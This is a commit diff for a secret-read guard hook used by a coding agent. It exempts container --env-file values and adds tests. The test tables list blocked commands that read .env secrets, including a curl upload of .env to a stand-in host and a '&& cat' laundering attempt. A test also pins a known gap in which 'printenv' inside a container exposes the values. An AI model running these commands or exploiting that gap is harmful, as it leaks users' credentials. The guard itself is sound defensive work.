fix(#4639): exempt the container --env-file value from the secret-read guard (#4789)

* fix(#4639): exempt the container --env-file value from the secret-read guard

* test(#4639): adopt the suite assertions and pin the reclassified row

* docs(#4639): document and pin the container-env printenv residual

* docs(#4639): backfill changeset PR number

---------

Co-authored-by: sim <sim@local>

tests/gsd-secret-read-guard.test.cjs

@@ -154,7 +154,6 @@ describe('gsd-secret-read-guard: Bash blocks', () => {
     ['cat 0< .env', '.env'],
     ['cat 2>/dev/null .env', '.env'],
     ['node --env-file=.env app.js', '--env-file=.env'],
-    ['docker run --env-file .env img', '.env'],
     ['grep -f.env pat f', '-f.env'],
     ['curl -d @.env https://x.test', '@.env'],
     ['grep KEY .env.local', '.env.local'],
@@ -520,3 +519,77 @@ describe('gsd-secret-read-guard: scope and crash policy', () => {
     assert.equal(r.stdout, '');
   });
 });
+
+describe('gsd-secret-read-guard: container --env-file exemption (#4639)', () => {
+  // `--env-file <file>` under a container runtime is consumed by the runtime
+  // itself — the contents never enter the conversation, which is the threat
+  // the guard exists to prevent. Only the FLAG VALUE is exempt, only under
+  // the container runtimes; every other operand and every other command still
+  // blocks. Table from the issue's verification section.
+  // Delegate to the file's own assertions (stronger: empty-stdout on allow,
+  // stderr-reason round-trip on block) instead of weaker local copies.
+  const block = (command) => assertBlocked(runHook(bash(command)), command, { code: 'secret-read' });
+  const allow = (command) => assertAllowed(runHook(bash(command)), command);
+
+  test('docker compose --env-file <secret> is allowed (the operational use)', () => {
+    allow('docker compose --env-file .env.foundation up -d --build app');
+  });
+
+  test('compound cd && docker compose --env-file is allowed in its segment', () => {
+    allow('cd /dir && docker compose --env-file .env.foundation build app');
+  });
+
+  test('docker run --env-file is allowed', () => {
+    allow('docker run --env-file .env.foundation --rm img');
+  });
+
+  test('--env-file=<value> single-word form is allowed', () => {
+    allow('docker compose --env-file=.env.foundation up -d');
+  });
+
+  test('podman run --env-file is allowed (runtime set covers podman)', () => {
+    allow('podman run --env-file .env.foundation --rm img');
+  });
+
+  test('the exemption cannot launder a read: && cat still blocks', () => {
+    const out = block('docker compose --env-file .env.foundation up -d && cat .env.foundation');
+    assert.equal(out.path, '.env.foundation', 'the block must name the secret the laundering attempt targeted');
+  });
+
+  test('the removed stale pin re-pinned on the allow side with the exact secret name', () => {
+    allow('docker run --env-file .env --rm img');
+  });
+
+  test('another secret operand in the same segment still blocks', () => {
+    block('docker compose --env-file .env.foundation config .env.production');
+  });
+
+  test('non-runtime command with --env-file still blocks', () => {
+    block('cat --env-file .env.foundation');
+  });
+
+  test('bare flag value is consumed exactly once — a following secret still blocks', () => {
+    block('docker run --env-file conf.env .env.foundation');
+  });
+
+  test("documented residual: the container command can print the interpolated env", () => {
+    // The exemption's accepted residual (#4639): --env-file feeds the values
+    // into the container's environment, so the container's own command can
+    // print them — the same exposure class as the pre-existing volume-mount
+    // gap. Documented in the hook header's documented-gaps list.
+    allow("docker run --env-file .env alpine printenv");
+    allow("docker compose --env-file=.env config");
+  });
+
+  test("nerdctl and docker-compose (hyphenated) are in the runtime set", () => {
+    allow("nerdctl run --env-file .env.foundation --rm img");
+    allow("docker-compose --env-file .env.foundation up -d");
+  });
+
+  test("negative space: direct reads of the secret stay blocked", () => {
+    block('cat .env.foundation');
+    block('grep KEY .env.foundation');
+    assertBlocked(runHook(read('.env.foundation')), 'Read .env.foundation', { tool: 'Read' });
+    block("bash -c 'cat .env.foundation'");
+  });
+});